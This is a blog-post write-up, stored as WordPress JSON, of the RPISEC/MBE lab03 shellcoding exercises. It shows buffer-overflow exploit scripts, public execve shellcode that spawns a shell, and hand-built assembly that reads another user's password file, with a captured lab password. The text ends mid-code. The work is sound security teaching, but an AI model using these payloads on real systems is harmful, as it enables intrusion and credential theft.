{"id":317,"date":"2018-02-01T12:08:05","date_gmt":"2018-02-01T12:08:05","guid":{"rendered":"https:\/\/devel0pment.de\/?p=317"},"modified":"2018-05-20T19:52:34","modified_gmt":"2018-05-20T19:52:34","slug":"rpisec-mbe-writeup-lab03-shellcoding","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=317","title":{"rendered":"RPISEC\/MBE: writeup lab03 (Shellcoding)"},"content":{"rendered":"<p><a href=\"https:\/\/devel0pment.de\/?p=109\">The last writeup for RPISEC\/MBE lab02<\/a> dealt with the subject of <i>Memory Corruption<\/i>. We used different buffer-overflow vulnerabilities to execute a predefined function <code>shell<\/code>, which kindly spawned a shell for us. In real life there usually isn&#8217;t such a function, we can simply call. Thus we have to inject our own code. Accordingly the next lab described in this writeup brings up the topic of <i>Shellcoding<\/i>.<\/p>\n<p>Yet again there are three levels ranging from C to A:<br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=317#lab3C\">lab3C<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=317#lab3B\">lab3B<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=317#lab3A\">lab3A<\/a><\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h1 id=\"lab3C\">lab3C<\/h1>\n<p>We start by connecting to the first level of lab03 using the credentials <span style=\"color: #ff0000;\">lab3C<\/span> with the password <span style=\"color: #ff0000;\">lab03start<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab3C@localhost\r\nlab3C@localhost's password: (lab03start)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n\r\nLast login: Sat Jan 27 04:47:50 2018 from localhost\r\n<\/pre>\n<p>In this lab we will have access to the source code like in lab02:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [27,28,31,38,39,42]; title: ; notranslate\" title=\"\">\r\nlab3C@warzone:\/levels\/lab03$ cat lab3C.c\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;string.h&gt;\r\n\r\n\/* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c *\/\r\n\r\nchar a_user_name&#x5B;100];\r\n\r\nint verify_user_name()\r\n{\r\n    puts(&quot;verifying username....\\n&quot;);\r\n    return strncmp(a_user_name, &quot;rpisec&quot;, 6);\r\n}\r\n\r\nint verify_user_pass(char *a_user_pass)\r\n{\r\n    return strncmp(a_user_pass, &quot;admin&quot;, 5);\r\n}\r\n\r\nint main()\r\n{\r\n    char a_user_pass&#x5B;64] = {0};\r\n    int x = 0;\r\n\r\n    \/* prompt for the username - read 100 byes *\/\r\n    printf(&quot;********* ADMIN LOGIN PROMPT *********\\n&quot;);\r\n    printf(&quot;Enter Username: &quot;);\r\n    fgets(a_user_name, 0x100, stdin);\r\n\r\n    \/* verify input username *\/\r\n    x = verify_user_name();\r\n    if (x != 0){\r\n        puts(&quot;nope, incorrect username...\\n&quot;);\r\n        return EXIT_FAILURE;\r\n    }\r\n\r\n    \/* prompt for admin password - read 64 bytes *\/\r\n    printf(&quot;Enter Password: \\n&quot;);\r\n    fgets(a_user_pass, 0x64, stdin);\r\n\r\n    \/* verify input password *\/\r\n    x = verify_user_pass(a_user_pass);\r\n    if (x == 0 || x != 0){\r\n        puts(&quot;nope, incorrect password...\\n&quot;);\r\n        return EXIT_FAILURE;\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;> At first there&#8217;s a prompt for a username (line 27).<br \/>\n&#8211;> The call to <code>fgets<\/code> on line 28 reads a maximum of <code>0x100 = 256<\/code> bytes into <code>a_user_name<\/code>.<br \/>\n&#8211;> The function <code>verify_user_name<\/code> (called on line 31) compares the first 6 characters of the user-input with <code>rpisec<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; If the comparison fails, the program quits with <code>EXIT_FAILURE<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; If the comparison succeeds, another prompt for a password is printed (line 38).<br \/>\n&#8211;> The 2nd call to <code>fgets<\/code> on line 39 reads a maximum of <code>0x64 = 100<\/code> bytes into <code>a_user_pass<\/code>.<br \/>\n&#8211;> The function <code>verify_user_pass<\/code> (called on line 42) compares the first 5 characters of the user-input with <code>admin<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; If the comparison fails, the program quits with <code>EXIT_FAILURE<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; If the comparison succeeds, the program quits with <code>EXIT_SUCCESS<\/code>.<\/p>\n<p>As you may have noticed there are two overflow vulnerabilities. The first call to <code>fgets<\/code> on line 28 reads a maximum of 256 bytes. The buffer used (<code>a_user_name<\/code>) is only 100 bytes long. Another thing to notice here is that the buffer <code>a_user_name<\/code> is defined at global scope. Also the second call to <code>fgets<\/code> on line 39 may cause an overflow. The buffer used (<code>a_user_pass<\/code>) is 64 bytes long, but the call to <code>fgets<\/code> reads a maximum of 100 bytes. The variable <code>a_user_pass<\/code> is defined at the local scope of the function <code>main<\/code>.<\/p>\n<p>So we have got two buffers we could overflow. In addition to the size these buffers differ in their location within the binary.<br \/>\n<code>a_user_name<\/code> is defined at global space. These kind of variables are stored within the <code>.data<\/code> section for initalized variables and within the <code>.bss<\/code> section for uninitalized variables. As <code>a_user_name<\/code> is not initalized it&#8217;s stored in the <code>.bss<\/code> section. We can verifiy that using <code>r2<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048640]&gt; iS\r\n...\r\nidx=23 vaddr=0x08049c0c paddr=0x00000c0c sz=8 vsz=8 perm=-rw- name=.data\r\nidx=24 vaddr=0x08049c20 paddr=0x00000c14 sz=132 vsz=132 perm=-rw- name=.bss\r\n...\r\n&#x5B;0x08048640]&gt; is~a_user_name\r\nvaddr=0x08049c40 paddr=0x00001c40 ord=070 fwd=NONE sz=100 bind=GLOBAL type=OBJECT name=a_user_name\r\n<\/pre>\n<p>The command <code>iS<\/code> prints all sections and <code>is<\/code> displays all symbols. As we can see the symbol <code>a_user_name<\/code> is located within the <code>.bss<\/code> section.<\/p>\n<p>Because <code>a_user_pass<\/code> is defined as a local variable of the function <code>main<\/code>, it is stored on the stack as we have seen with other local variables in the previous labs.<\/p>\n<p>Which buffer can we use for what purpose?<br \/>\n&#8211;> Only <code>a_user_pass<\/code> can be used to overwrite the return address because <code>a_user_name<\/code> is not stored on the stack<br \/>\n&#8211;> Because ASLR is disabled yet and <code>a_user_name<\/code> is stored at a static location, we can use it for the shellcode we want to execute<\/p>\n<p>We could also store our shellcode within <code>a_user_pass<\/code> but it&#8217;s more difficult to determine the exact location of <code>a_user_pass<\/code> since it is stored on the stack and the stack addresses may vary depending on the environment. Thus the address of <code>a_user_pass<\/code> identified by using <code>gdb<\/code> could be not the same as if the binary is directly executed.<\/p>\n<h2>overwrite return address<\/h2>\n<p>As we have already figured out, <code>a_user_pass<\/code> is stored on the stack and can be overflowed by 100 &#8211; 64 = 36 bytes. This should suffice to overwrite the return address of the function <code>main<\/code>. In order to set the return address to a value of our desire we have to know the offset from the buffer to the return address. As in the last lab this can be done by using a long enough pattern to overflow the buffer and see which memory-address caused a segmentation fault.<\/p>\n<p>The program only reads a password, if the username&#8217;s first 6 bytes equal <code>\"rpisec\"<\/code>. I wrote a little python-script to create our input to the program:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab3C@warzone:~$ cat \/tmp\/pattern.py\r\nimport sys\r\n\r\nprint(&quot;rpisec&quot;)\r\n\r\nfor i in range(26):\r\n  sys.stdout.write(chr(i+0x41)*4)\r\n<\/pre>\n<p>On line 3 the username is printed in order to bypass the function <code>verify_user_name<\/code>. The loop on lines 5-6 prints 4 characters of each character within the the alphabet (<code>\"AAAABBBBCCCCDDDD...\"<\/code>).<\/p>\n<p>After we have stored the input in a temporary file <code>\/tmp\/out3C<\/code> we can start up <code>gdb<\/code> and run the binary with the input:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,2,5,26]; title: ; notranslate\" title=\"\">\r\nlab3C@warzone:\/levels\/lab03$ python \/tmp\/pattern.py &gt; \/tmp\/out3C\r\nlab3C@warzone:\/levels\/lab03$ gdb lab3C\r\nReading symbols from lab3C...(no debugging symbols found)...done.\r\ngdb-peda$ r &lt; \/tmp\/out3C\r\nStarting program: \/levels\/lab03\/lab3C &lt; \/tmp\/out3C\r\n********* ADMIN LOGIN PROMPT *********\r\nEnter Username: verifying username....\r\n\r\nEnter Password:\r\nnope, incorrect password...\r\n\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x1\r\nEBX: 0x52525252 ('RRRR')\r\nECX: 0xb7fd8000 (&quot;\\nope, incorrect password...\\nername....\\n&quot;)\r\nEDX: 0xb7fce898 --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x53535353 ('SSSS')\r\nEBP: 0x54545454 ('TTTT')\r\nESP: 0xbffff720 (&quot;VVVVWWWWXXXXYYY&quot;)\r\nEIP: 0x55555555 ('UUUU')\r\nEFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x55555555\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff720 (&quot;VVVVWWWWXXXXYYY&quot;)\r\n0004| 0xbffff724 (&quot;WWWWXXXXYYY&quot;)\r\n0008| 0xbffff728 (&quot;XXXXYYY&quot;)\r\n0012| 0xbffff72c --&gt; 0x595959 ('YYY')\r\n0016| 0xbffff730 --&gt; 0x1\r\n0020| 0xbffff734 --&gt; 0xbffff7b4 --&gt; 0xbffff8d3 (&quot;\/levels\/lab03\/lab3C&quot;)\r\n0024| 0xbffff738 --&gt; 0xbffff754 --&gt; 0x97afed87\r\n0028| 0xbffff73c --&gt; 0x8049c04 --&gt; 0xb7e3c990 (&lt;__libc_start_main&gt;:     push   ebp)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x55555555 in ?? ()\r\n<\/pre>\n<p>A segmentation fault is raised when accessing the address <code>0x55555555<\/code> (<code>= \"UUUU\"<\/code>). Now we can calculate the offset to the return address:<\/p>\n<pre>\r\n<span style=\"color:#0000ff\">AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT<\/span><span style=\"color:#ff0000\">UUUU<\/span>...\r\n----------------------------------------------------------------------------<span style=\"color:#ff0000\">XXXX<\/span>---\r\n            (0x55-0x41)*4   =     <span style=\"color:#0000ff\">80 bytes<\/span>                            <span style=\"color:#ff0000\">return address<\/span>\r\n<\/pre>\n<p>Thus if we write 80 bytes + the address of our shellcode to <code>a_user_pass<\/code>, the shellcode will be executed when the function <code>main<\/code> returns.<\/p>\n<h2>shellcode<\/h2>\n<p>The next thing to do is to choose a shellcode and store it at an address we know.<\/p>\n<p>As for now we don&#8217;t write our own shellcode and just take a publicly available shellcode which fits our needs.<\/p>\n<p>I took the following shellcode from http:\/\/shell-storm.org\/shellcode\/files\/shellcode-811.php which simply calls <code>execve(\"\/bin\/sh\")<\/code>:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\n31 c0                 xor    eax, eax\r\n50                    push   eax\r\n68 2f 2f 73 68        push   0x68732f2f\r\n68 2f 62 69 6e        push   0x6e69622f\r\n89 e3                 mov    ebx, esp\r\n89 c1                 mov    ecx, eax\r\n89 c2                 mov    edx, eax\r\nb0 0b                 mov    al, 0xb\r\ncd 80                 int    0x80\r\n31 c0                 xor    eax, eax\r\n40                    inc    eax\r\ncd 80                 int    0x80\r\n<\/pre>\n<p>On lines 3-4 the string <code>\"\/bin\/\/sh\"<\/code> is pushed on the stack. On line 8 <code>eax<\/code> is set to <code>0xb<\/code> identifying the syscall <code>sys_execve<\/code>, which is called using an interrupt <code>int 0x80<\/code> on line 9. The second syscall on line 12 calls <code>sys_exit<\/code> (<code>eax = 0x1<\/code>) to gracefully quit the program.<\/p>\n<p>As we pointed out, we can store our shellcode in <code>a_user_name<\/code>. In order to bypass the <code>verify_user_name<\/code> check, the first 6 bytes of the buffer need to be <code>\"rpisec\"<\/code>. Again we can use a python-script to generate our input to the program:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab3C@warzone:~$ cat \/tmp\/input.py\r\nimport sys\r\n\r\nshellcode = &quot;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e&quot;\\\r\n            &quot;\\x89\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x40&quot;\\\r\n            &quot;\\xcd\\x80&quot;\r\n\r\nprint(&quot;rpisec&quot; + shellcode)\r\nprint(&quot;A&quot;*80 + &quot;\\x46\\x9c\\x04\\x08&quot;)\r\n<\/pre>\n<p>Lines 3-4 define the shellcode we chose. On line 6 the input for the <code>a_user_name<\/code> buffer is defined. On line 7 we print 80 bytes to match the formerly calculated offset to the return address, followed by the address <code>0x08049c46<\/code>. This address is simply calculated by taking the address of <code>a_user_name<\/code> we already figured out = 0x08049c40 + 6 bytes offset for <code>\"rpisec\"<\/code>.<\/p>\n<p>Now we can store the output of the python-script in a temporary file and run the program using the file as input:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab3C@warzone:\/levels\/lab03$ python \/tmp\/input.py &gt; \/tmp\/out3C\r\nlab3C@warzone:\/levels\/lab03$ (cat \/tmp\/out3C; cat) | .\/lab3C\r\n********* ADMIN LOGIN PROMPT *********\r\nEnter Username: verifying username....\r\n\r\nEnter Password:\r\nnope, incorrect password...\r\n\r\nwhoami\r\nlab3B\r\ncat \/home\/lab3B\/.pass\r\nth3r3_iz_n0_4dm1ns_0n1y_U!\r\n<\/pre>\n<p>Done \ud83d\ude42 The password for the next level is <code>th3r3_iz_n0_4dm1ns_0n1y_U!<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab3B\">lab3B<\/h1>\n<p>We connect using the credentials gained in the last level: <span style=\"color: #ff0000;\">lab3B<\/span> with the password <span style=\"color: #ff0000;\">th3r3_iz_n0_4dm1ns_0n1y_U!<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab3B@localhost\r\nlab3B@localhost's password: (th3r3_iz_n0_4dm1ns_0n1y_U!)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n\r\nLast login: Sat Jan 20 21:21:46 2018 from localhost\r\n<\/pre>\n<p>Let&#8217;s have a look at the provided source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [16,17,32,33,47,53]; title: ; notranslate\" title=\"\">\r\nlab3B@warzone:\/levels\/lab03$ cat lab3B.c\r\n#include &lt;signal.h&gt;\r\n#include &lt;assert.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &lt;sys\/ptrace.h&gt;\r\n#include &lt;sys\/reg.h&gt;\r\n#include &lt;sys\/prctl.h&gt;\r\n#include &lt;wait.h&gt;\r\n#include &quot;utils.h&quot;\r\n\r\nENABLE_TIMEOUT(60)\r\n\r\n\/* gcc -z execstack -fno-stack-protector -o lab3B lab3B.c *\/\r\n\r\n\/* hint: write shellcode that opens and reads the .pass file.\r\n   ptrace() is meant to deter you from using \/bin\/sh shellcode *\/\r\n\r\nint main()\r\n{\r\n    pid_t child = fork();\r\n    char buffer&#x5B;128] = {0};\r\n    int syscall = 0;\r\n    int status = 0;\r\n\r\n    if(child == 0)\r\n    {\r\n        prctl(PR_SET_PDEATHSIG, SIGHUP);\r\n        ptrace(PTRACE_TRACEME, 0, NULL, NULL);\r\n\r\n        \/* this is all you need to worry about *\/\r\n        puts(&quot;just give me some shellcode, k&quot;);\r\n        gets(buffer);\r\n    }\r\n    else\r\n    {\r\n        \/* mini exec() sandbox, you can ignore this *\/\r\n        while(1)\r\n        {\r\n            wait(&amp;status);\r\n            if (WIFEXITED(status) || WIFSIGNALED(status)){\r\n                puts(&quot;child is exiting...&quot;);\r\n                break;\r\n            }\r\n\r\n            \/* grab the syscall # *\/\r\n            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);\r\n\r\n            \/* filter out syscall 11, exec *\/\r\n            if(syscall == 11)\r\n            {\r\n                printf(&quot;no exec() for you\\n&quot;);\r\n                kill(child, SIGKILL);\r\n                break;\r\n            }\r\n        }\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>The comment on lines 16-17 gives us a hint what this level is about: we have to write a shellcode which open and reads the <code>.pass<\/code> file. This time we cannot spawn a shell, because <code>ptrace<\/code> prevents us from using the syscall <code>sys_execve<\/code>.<\/p>\n<p>As stated in the comments, the greatest part of the source code implements the prevention of calling <code>sys_execve<\/code>. The program forks a new process and the parent process (else-branch from line 37 onwards) uses <code>ptrace<\/code> to notice if the child tries to execute the syscall <code>sys_execve<\/code> (line 47). If <code>sys_execve<\/code> is called, the parent process kills the child process (line 53).<\/p>\n<p>In the child process a message to enter shellcode is displayed (line 32) and <code>gets<\/code> is called to read a user input into the 128 byte long <code>buffer<\/code> (line 33). Obviously we can input a string longer than 128 bytes and thus overflow this buffer. Because the buffer is a local variable of the function <code>main<\/code>, it is stored on the stack and we can overwrite the return address of <code>main<\/code>.<\/p>\n<p>At first let&#8217;s determine the location of the return address and then calculate the offset from our buffer. As in the last labs we can use a little python-script to generate the pattern:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab3B@warzone:\/levels\/lab03$ cat \/tmp\/lab3B_pattern2.py\r\nimport sys\r\n\r\nsys.stdout.write(&quot;X&quot; * 128)\r\n\r\nfor i in range(10):\r\n  sys.stdout.write(chr(i+0x41)*4)\r\n<\/pre>\n<p>The python script prints <code>\"X\"<\/code> 128 times to fill the buffer and then appends the pattern <code>\"AAAABBBBCCCC...\"<\/code>.<\/p>\n<p>We store the output of the script in a temporary file and then input the file to the program using <code>gdb<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,2,4,25]; title: ; notranslate\" title=\"\">\r\nlab3B@warzone:\/levels\/lab03$ python \/tmp\/lab3B_pattern2.py &gt; \/tmp\/out3B\r\nlab3B@warzone:\/levels\/lab03$ gdb lab3B\r\nReading symbols from lab3B...(no debugging symbols found)...done.\r\ngdb-peda$ r &lt; \/tmp\/out3B\r\nStarting program: \/levels\/lab03\/lab3B &lt; \/tmp\/out3B\r\n&#x5B;New process 8528]\r\njust give me some shellcode, k\r\nReading symbols from \/usr\/lib\/debug\/lib\/i386-linux-gnu\/libc-2.19.so...done.\r\nReading symbols from \/usr\/lib\/debug\/lib\/i386-linux-gnu\/ld-2.19.so...done.\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;Switching to process 8528]\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x0\r\nEBX: 0x45454545 ('EEEE')\r\nECX: 0xfbad2098\r\nEDX: 0xb7fce8a4 --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x46464646 ('FFFF')\r\nEBP: 0x47474747 ('GGGG')\r\nESP: 0xbffff720 (&quot;IIIIJJJJ&quot;)\r\nEIP: 0x48484848 ('HHHH')\r\nEFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x48484848\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff720 (&quot;IIIIJJJJ&quot;)\r\n0004| 0xbffff724 (&quot;JJJJ&quot;)\r\n0008| 0xbffff728 --&gt; 0xbffff700 (&quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ&quot;)\r\n0012| 0xbffff72c --&gt; 0xb7feccea (&lt;call_init+26&gt;:        add    ebx,0x12316)\r\n0016| 0xbffff730 --&gt; 0x1\r\n0020| 0xbffff734 --&gt; 0xbffff7b4 --&gt; 0xbffff8d3 (&quot;\/levels\/lab03\/lab3B&quot;)\r\n0024| 0xbffff738 --&gt; 0xbffff754 --&gt; 0xb7c2f14f\r\n0028| 0xbffff73c --&gt; 0x8049e80 --&gt; 0xb7e3c990 (&lt;__libc_start_main&gt;:     push   ebp)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x48484848 in ?? ()\r\n<\/pre>\n<p>A segmentation fault is raised when accessing the address <code>0x48484848<\/code> (<code>\"HHHH\"<\/code>). We can now calculate the offset to the return address:<\/p>\n<pre>\r\n\r\nXXX ... 128 times ... AAAABBBBCCCCDDDDEEEEFFFFGGGG<span style=\"color: #ff0000;\">HHHH<\/span>IIIIJJJJ\r\n<span style=\"color: #0000ff;\">--------------------------------------------------<\/span><span style=\"color: #ff0000;\">XXXX<\/span>\r\n                  <span style=\"color: #0000ff;\">156 byte<\/span>                    <span style=\"color: #ff0000;\">return address<\/span>\r\n<\/pre>\n<p>The offset from the beginning of the buffer to the return address is 156 bytes.<\/p>\n<p>With the output above we can also determine at which address the buffer is stored:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/s 0xbffff700\r\n0xbffff700:     &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ&quot;\r\ngdb-peda$ x\/s 0xbffff680\r\n0xbffff680:     'X' &lt;repeats 128 times&gt;, &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ&quot;\r\n<\/pre>\n<p>As we can see the buffer is stored at <code>0xbffff680<\/code>. This may vary when executing the binary without <code>gdb<\/code>, but it will still give us a point to start.<\/p>\n<p>Since we have control over the instruction pointer now, we have to choose what we want to execute. In the last level we just used a prepared shellcode which calls <code>execve<\/code> with <code>\"\/bin\/sh\"<\/code>. Since we are forbidden to use the syscall <code>execve<\/code> now, we have to write our own shellcode.<\/p>\n<p>When writing shellcode we can use <i>syscalls<\/i> to interact with the operating system. In order to carry out the requested actions of a syscall the core of the operating system (the kernel) needs to execute privileged operations like directly accessing the hardware. Because of this the kernel usually runs in a higher privileged ring (<code>ring 0<\/code>) while ordinary user processes run in a lower privileged ring (<code>ring 3<\/code>). In order to switch from userspace to kernelspace a process uses an interrupt, which passes the control to an interrupt vector. In the case of a syscall on the x86-platform the interrupt <code>0x80<\/code> is used to pass the control to the kernel in order to carry out a requested syscall. As the kernel has to know which syscall should be executed and what parameters are to be used, the process has to set these parameters in the registers. The register <code>eax<\/code> defines which syscall should be executed. The registers <code>ebx<\/code>, <code>ecx<\/code>, <code>edx<\/code>, <code>esi<\/code> and <code>edi<\/code> are used to pass arguments to the syscall.<\/p>\n<p>As we have already figured out, our shellcode should read the <code>.pass<\/code> file, which is located in the directory <code>\/home\/lab3A\/<\/code> and then print its contents.<\/p>\n<p>An overview of the linux syscalls can be found here: https:\/\/syscalls.kernelgrok.com<\/p>\n<p>Let&#8217;s start by writing our shellcode in c only using syscalls:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nchar buf&#x5B;100];\r\nint fd = open(&quot;\/home\/lab3A\/.pass&quot;, O_RDONLY);\r\nread(fd, buf, 100);\r\nwrite(stdout, buf, 100);\r\n<\/pre>\n<p>That&#8217;s simply it. On line 1 we define a buffer where the contents of the <code>.pass<\/code> file should be read to. On line 2 the syscall <code>open<\/code> is used to open the <code>.pass<\/code> file and get a filehandle (<code>fd<\/code>) to the open file. This filehandle can than be passed to the syscall <code>read<\/code> in order to store the contents of the file in the buffer <code>buf<\/code> (line 3). As for now the contents are only within the buffer we have to print them using the syscall <code>write<\/code> on line 4.<\/p>\n<p>Of course we could also compile our source code and extract the shellcode, but for learning purpose we want to manually write our shellcode in assembler.<\/p>\n<p>There are a few things consider when writing assembler code:<\/p>\n<p>In the above c source code we created a local buffer <code>buf<\/code>:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nchar buf&#x5B;100];\r\n<\/pre>\n<p>As we have already seen in the last labs, local variables are stored on the stack. Thus we can create thus a local buffer like this:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\n  sub esp, 100\r\n  mov ecx, esp\t\t; buf\r\n<\/pre>\n<p>On line 1 100 is subtracted from <code>esp<\/code>. As the stack grows from bottom to top this is how we reserve 100 bytes on the stack. The top of the stack now points to the first byte of our buffer. Thus we can access the buffer using <code>esp<\/code>. On line 2 the buffer address is stored in <code>ecx<\/code>.<\/p>\n<p>Another thing to consider are strings. In the c source code we just passed a constant string to the syscall <code>open<\/code>:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nint fd = open(&quot;\/home\/lab3A\/.pass&quot;, O_RDONLY);\r\n<\/pre>\n<p>In a binary such constant strings are usually stored in the <code>data section<\/code>. As for our shellcode we can just use the stack again to store such a string.<\/p>\n<p>Before that we have to do some preparations. The string want to store is <code>\"\/home\/lab3A\/.pass\"<\/code>. We start by hex-encoding our string:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab3B@warzone:\/levels\/lab03$ python -c 'print(&quot;\/home\/lab3A\/.pass&quot;.encode(&quot;hex&quot;))'\r\n2f686f6d652f6c616233412f2e70617373\r\n<\/pre>\n<p>Values can be moved on the stack using the <code>push<\/code> instruction. We have to consider that only 4 bytes at a time can be pushed and that those 4 bytes are interpreted as a DWORD and thus are stored as little endian.<\/p>\n<p>We start by splitting the hex-encoded string into groups of 4 bytes:<\/p>\n<pre>\r\n\/ h o m  e \/ l a  b 3 A \/  . p a s  s\r\n2f686f6d 652f6c61 6233412f 2e706173 73\r\n<\/pre>\n<p>Now we convert these values to little endian:<\/p>\n<pre>\r\nm  o h \/ a l \/ e  \/ A 3 b  s a p .  s \r\n6d6f682f 616c2f65 2f413362 7361702e 73\r\n<\/pre>\n<p>And push the resulting values in reverse order since the start of the string has to be placed first in memory:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\n  push 0x73\r\n  push 0x7361702e\r\n  push 0x2f413362\r\n  push 0x616c2f65\r\n  push 0x6d6f682f\r\n<\/pre>\n<p>That&#8217;s it. After the execution of all <code>push<\/code> instructions <code>esp<\/code> points to the beginning of our string <code>\"\/home\/lab3A\/.pass\"<\/code>.<\/p>\n<p>Combining all this we can write the final assembler code:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\n  segment .text\r\n  global _start\r\n\r\n_start:\r\n\r\n  push 0x73\r\n  push 0x7361702e\r\n  push 0x2f413362\r\n  push 0x616c2f65\r\n  push 0x6d6f682f\r\n\r\n  mov eax, 0x5\t\t; 5 = sys_open\r\n  mov ebx, esp\r\n  xor ecx, ecx\r\n  xor edx, edx\r\n  int 0x80\r\n\r\n  sub esp, 100\r\n  mov ebx, eax\r\n  mov eax, 